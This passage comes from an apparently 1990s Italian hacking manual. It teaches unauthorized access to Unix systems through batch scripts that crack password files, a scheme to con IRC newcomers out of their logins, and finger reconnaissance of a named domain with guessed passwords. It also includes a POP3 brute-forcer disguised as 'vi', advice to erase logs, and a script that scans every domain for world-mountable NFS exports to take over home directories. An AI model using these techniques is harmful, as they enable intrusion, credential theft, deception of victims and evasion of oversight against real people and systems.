essere piu' al sicuro.

Puoi trovare qui dei file di hashing sia per i wordfile che per le passwd. Dopo

averli analizzati vedrai come poterli modificare o crearne di nuovi a seconda

della situazione.

------------ Inizio di discthash.bat

------------ start of dicthash.bat

@echo off

cls

echo - THIS FILE FOR DOS MACHINES

echo ----------------------------------------------------------------------

echo - To work this batch file have all of the crackerjack files in the

echo - current directory with this batch file, along with your dict and

echo - password file. Then use this batch file using the following format:

echo -

echo - dicthash.bat dictfilename.ext passwordfilename.ext

echo -

echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.

echo -

echo - dicthash will first load jack running the dict file against your

echo - password file in both cases, then it will add numbers 0-9 both to

echo - the begining and end of every dict word. This will take a while,

echo - so go out for that week vacation!

echo -

echo - If you get tired you can 'ctrl c' to the next option or number.

echo -

echo - ii@dormroom.pyro.net

echo -

echo - Mail me some of your hits, let me know how this works for you ;)

jpp -lower %1 | jack -stdin %2

jpp %1 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.2 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.3 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.3 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.4 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.4 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.5 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.5 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.6 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.6 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.7 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.7 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.8 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.8 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.9 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.9 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2

jpp -dot:0 %1 | jpp -translate:.0 | jack -stdin %2

jpp -dot:7 %1 | jpp -translate:.0 | jack -stdin %2

jpp -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2

jpp -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2

---------------- fine di dicthash.bat

---------------- inizio di jackhash.bat

@echo off

cls

echo - THIS FILE FOR DOS

echo ----------------------------------------------------------------------

echo - To work this batch file have all of the crackerjack files in the

echo - current directory with this batch file, along with your password file.

echo - Then use this batch file using the following format:

echo -

echo - jackhash.bat passwordfilename.ext

echo -

echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well.

echo -

echo - jackhash will first load jack running the passwd file against

echo - itself in both upper and lower cases, then it will add numbers 0-9

echo - both to the begining and end of every dict word. This will take

echo - a while, so go out for that week vacation!

echo -

echo - If you get tired you can 'ctrl c' to the next option or number.

echo -

echo - ii@dormroom.pyro.net

echo -

echo - Mail me some of your hits, let me know how this works for you ;)

jpp -gecos:5 -lower %1 | jack -stdin %1

jpp -gecos:5 %1 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.` | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.` | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.` | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.` | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.~ | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.~ | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.~ | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.~ | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.! | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.! | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.! | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.! | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.A | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.A | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.A | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.A | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.a | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.a | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.a | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.a | jack -stdin %1

jpp -gecos:1 -dot:0 %1 | jpp -translate:.q | jack -stdin %1

jpp -gecos:1 -dot:7 %1 | jpp -translate:.q | jack -stdin %1

jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.q | jack -stdin %1

jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.q | jack -stdin %1

 

jpp -gecos:2 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:2 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:2 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:2 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:2 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:2 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:2 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:2 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:2 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:2 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:2 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:2 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:2 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

 

jpp -gecos:4 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:4 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:4 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:4 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:4 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:4 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:4 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:4 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:4 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:4 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:4 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:4 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:4 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

 

jpp -gecos:8 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1

jpp -gecos:8 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1

jpp -gecos:8 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %1

jpp -gecos:8 -dot:0 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %1

jpp -gecos:8 -dot:0 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %1

jpp -gecos:8 -dot:0 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %1

jpp -gecos:8 -dot:0 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %1

jpp -gecos:8 -dot:0 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %1

jpp -gecos:8 -dot:0 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %1

jpp -gecos:8 -dot:0 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:8 -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:8 -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %1

jpp -gecos:8 -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %1

--------------- fine di jackhash.bat

Puoi ottenere passwd files senza avere un account, vedi il Capitolo 3

------------------------

Sezione 2B.

Parlare con i novellini

------------------------

Ci sono altri modi per ottenere un account senza lavorare molto. Parcheggiati in

un canale IRC che hai creato con un titolo riferito all'hacking. Prova anche ad

inserirti in altri canali su irc come:

#hacking #unix #unixhacking #hack #hackers #hacker #virus #virii

#hackers_hideout ecc.

Ora,cio' che tu cerchi e'un novellino che cerca di imparare o di fare un Exploit

sulla shell su cui si trova.

C'e'sempre qualcuno che fa domande da novellino e non riceve risposta o viene

cacciato via dal canale. Ecco la vostra vittima ;)

/msg alla vittima in modo che gli altri non vedano che stai parlando con lui,e

inizia a fargli domande,cerca di aiutarlo ,ma non troppo;) Alla fine digli che

puoi collegarti al suo posto. Questo potrebbe essere per recuperare il file di

password o chissa' cos'altro. Promettigli il mondo e ottieni la login e la

password.

Ora hai un inizio e puoi iniziare a metter mano in modo da imparare. Se trovi

l'accesso di root al sistema, non riferirglielo, ma riferiscigli qualche altra

informazione in modo da tenerlo occupato mentre sniffi altre password nel

sistema.

Non crediate che io mi comporti davvero cosi'...

Io tendo ad aiutare chi sta imparando e dico la verita' quando affermo di aver

trattato onestamente la maggior parte delle persone che ho incontrato.

--------------------

Sezione 2C.

La strada difficile

--------------------

C'e' un altro modo per fare questo. Stai tranquillo che nella maggior parte dei

sistemi gli utenti non usano password sicure. Da una shell fai questo:

finger @domainname.com Occhio ,usero' un vero domain:

[10:35am][/home/ii]finger @starnet.net

[starnet.net]

Login Name Tty Idle Login Time Office Office Phone

chris Chris Myers p2 4:46 Jan 27 11:19

mike Mike Suter p1 4:57 Jan 22 16:14

mike Mike Suter p5 3d Jan 16 15:35

root System Administrator p3 4:59 Jan 16 10:17

wendt Catherine Wendt-Bern p0 3 Jan 21 14:49

[10:35am][/home/ii]

Potremmo provare ad entrare piu' tardi, prendi nota di queste info:

Login chris Password prova:Chris, chris, myers, Myers, chrismyers, etc...

Questo sembra andar bene, wendt:Catherine:catherine

Ecco un altro comando:

[10:35am][/home/ii]finger -l @starnet.net

[starnet.net]

 

Login: mike Name: Mike Suter

Directory: /usra/staff/mike Shell: /bin/csh

On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net

On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox

Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk

No Plan.

Login: root Name: System Administrator

Directory: /root Shell: /bin/csh

On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net

Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net

Mail forwarded to:

\chris@admin.starnet.net

#\chris@admin.starnet.net, \mike@admin.starnet.net

No Plan.

Login: wendt Name: Catherine Wendt-Bernal

Directory: /usra/staff/wendt Shell: /bin/csh

On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout

No Plan.

Ora hai piu' informazioni su cui lavorare ;)

So che questo puo' stancarti....

Ricorda: questo procedimento fara' il log di tutti i tuoi tentativi,cosi',se

trovi la root, cancella i log ;)

Questo e'un piccolo file .c che puoi usare per entrare.

pop3hack.c

----- cut here

#include <stdio.h>

#include <string.h>

#include <signal.h>

#include <unistd.h>

#include <sys/param.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <stdarg.h>

/* Primo, definisci la porta per POP-3 - quasi sempre 110 */

#define POP3_PORT 110

/* cosa vogliamo che sembri il nostro programma in modo che l'admin non lo

killi*/

#define MASKAS "vi"

/* ripeti il connect o no - ricorda , i logs prenderanno nota della

connessione,potresti voler settare questo a 0: in questo modo fara' dell'hack

fino a che trova 1 user/password poi esce. se settato a 1, si riconnettera'

e cerchera' altre user/passwords (finche'ce ne sono ancora)

*/

#define RECONNECT 0

----- cut here

Puoi anche scrivere uno script in perl che faccia finger @ da una domain list e

cataloghi le risposte in un file, poi, una volta fatto, provera' a loggarsi con

pop3d username-username (o altre info) e mettendo le risposte in un altro file.

Puoi fare ftp a rs.internic.net

Nella directory del dominio troverai:

com.zone.gz

edu.zone.gz

gov.zone.gz

mil.zone.gz

net.zone.gz

org.zone.gz

Scarica questi file e lancia getdomain.pl (lo scipt qui sotto) sui domini che

vuoi cercare, in questo modo:

"perl getdomain.pl com.zone com >com.all"

Questo raccogliera' tutti i domini .COM e li mettera' tutti in un file chiamato

comm.all.

La stessa cosa puo' essere fatta per i domini .EDU

perl getdomain.pl edu.zone edu >edu.all

Ecco lo script Perl

getdomain.pl

----cut here

#!/usr/bin/perl

# GetDomain By Nfin8 / Invisible Evil

# Questions /msg i-e or /msg i^e

#

# Retrieve command line arguments.

my($inputfile, $domain) = @ARGV;

usage() if (!defined($inputfile) || !defined($domain));

# Open and preprocess the input file.

open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for

reading!\n");

my(@lines) = <INFILE>;

# Initialize main data structure.

my(%hash) = {};

my($key) = "";

foreach (@lines) {

$key = (split(/\ /))[0];

chop($key);

next if ((($key =~ tr/.//) < 1) ||

(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||

($key =~ m/root-server/i));

$hash{$key}++;

}

# Close input file and output data structure to STDOUT.

close(INFILE);

foreach (sort(keys(%hash))) {

print "$_\n";

}

sub usage {

print("\n\ngetdomain:\n");

print("Usage: getdomain [inputfile] [search]\n\n");

print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or

\'net\'.\n\n");

exit(0);

}

 

0;

 

---- cut here - fine dello script -----

Per usare lo script qui sopra ti basta copiare tra le due linee di delimitazione

e chiamarlo getdomain.pl, ora copialo dentro a unix os e digita

chmod +x getdomain.pl

Ora e'pronto per essere lanciato con la linea di comando qui sopra.

------------------------------------------

Sezione 2D.

usare Mount per accedere a un sistema unix

------------------------------------------

Questo non e' difficile e ci sono molti sistemi che sono mountable.

Mount e'un comando unix che permette di fare mount di drive su macchine remote.

Questo e'fatto in modo da poter fare installazione da altre macchine, o solo per

condividere drive o directory all'interno la rete.

Il problema e' che molti admin sono buoni conoscitori di unix. O forse sono solo

un po' fannulloni e fanno il mount dei drive con accesso globale senza capire

che chiunque puo' montare i drive e avere accesso in scrittura alle directory

degli utenti di quel sistema.

Ti serve un hacked account di root per iniziare. Per fare mount di un drive

remoto e accedervi devi modificare il passwd phile del sistema e usare il

comando su.

Ok, diciamo che hai accesso di root. Iniziamo!

Puoi vedere se ci sono drive mountable usando il comando showmount.

Dall'account di Root:

$root> showmount -e wwa.com

mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive

Ok ,no problem, questo domain non funziona, proviamo il prossimo

$root> showmount -e seva.net

Export list for seva.net:

/var/mail pluto.seva.net

/home/user1 pluto.seva.net

/usr/local pluto.seva.net,rover.seva.net

/export/X11R6.3 rover.seva.net

/export/rover rover.seva.net,pluto.seva.net

/export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)

Nota la parola 'chiunque'(everyone), questo andrebbe bene se volessimo

installare linux da questo sistema, ma noi vogliamo aprire le directory degli

utenti,cosi' andiamo al prossimo...

$root> showmount -e XXXXX.XXX < questo ha funzionato ... ora trovatelo ;)

Export list for XXXXX.XXX:

/export/home (everyone)

Ora, questo tipo ha montato la sua home directory, gli account degli utenti si

trovano fuori dalla home ;) e guarda...(everyone) puo' accedervi!!!

Ok questa sezione serviva a mostrarti come vedere se sono mountable, nella

prossima vedremo come fare il mount e l'hack. Per ora ecco uno script che fara'

lo scan di TUTTI I DOMINI su internet cercando quelli montable e li logghera' per te.

Per usarlo usa il 'domain dipper' nella sezione PHF e scarica i file che ti

servono da rs.internic.net Fai il rip di alcuni domini e chiama il file

'domains' e avvia lo script. Per farlo funzionare il background, metti

una & dopo il comando. cosi':

cmount.pl&

Come funziona:

Quando lanci il file esso andra' nella domain list e lancera' showmount -e su

ogni dominio, se trova dei driver mountable salvera' le info in un file

chiamato:

domain.XXX.export. Devi soltanto editare il file e montare i drive!

--------------- Inizio di cmount.pl

#!/usr/bin/perl -w

#

# Check NFS exports of hosts listed in file.

# (Hosts are listed, once per line with no additional whitespaces.)

#

# ii@dormroom.pyro.net - 2/27/97.

# Assign null list to @URLs which will be added to later.

my(@result) = ();

my(@domains) = ();

my($program) = "showmount -e ";

# Pull off filename from commandline. If it isn't defined, then assign default.

my($DomainFilename) = shift;

$DomainFilename = "domains" if !defined($DomainFilename);

# Do checking on input.

die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);

 

# Open $DomainFilename.

open(DOMAINFILE, $DomainFilename) or

die("mountDomains: Cannot open $DomainFilename for input.\n");

 

while (<DOMAINFILE>) {

chomp($_);

print "Now checking: $_";

# Note difference in program output capture from "geturl.pl".

open (EXECFILE, "$program $_ |");

@execResult = <EXECFILE>;

next if (!defined($execResult[0]));

if ($execResult[0] =~ /^Export/) {

print " - Export list saved.";

open (OUTFILE, ">$_.export");

foreach (@execResult) {

print OUTFILE;

}

close (OUTFILE);

}

close(EXECFILE);

print "\n";

}

 

# We are done. Close all files and end the program.

close (DOMAINFILE);

0;

----------------- fine di cmount.pl

Ok,ora si inizia a montare i drive ....

Diciamo che abbiamo fatto showmount -e domain.com e abbiamo ottenuto:

Export list for domain.com:

/ (everyone)

/p1 (everyone)

/p2 (everyone)

/p3 (everyone)

/p5 (everyone)

/p6 (everyone)

/p7 (everyone)

/var/spool/mail titan,europa,galifrey

/tmp (everyone)

Vogliamo montare / ...yup ....questo tipo ha l'intero sistema montabile!!!!

$root> mkdir /tmp/mount

$root> mount -nt nfs domain.com:/ /tmp/mount

Se la Home directory e'mountable il comando sarebbe:

$root> mount -nt nfs domain.com:/home /tmp/mount

Per fare l'unmount del sistema,assicurati di essere fuori dalla directory e

digita:

$root> umount /tmp/mount

Assicurati di fare per prima cosa la directory di mount, puoi farlo ovunque nel

sistema che vuoi. Se la

directory /mnt dei sistemi e'vuota puoi usare anche quella.

Ok. Questa volta e'per davvero:

bash# ls -al /mnt ; assicurati che la directory mnt sia vuota

ls: /mnt: No such file or directory ; Non c'e'neanche la directory ;)

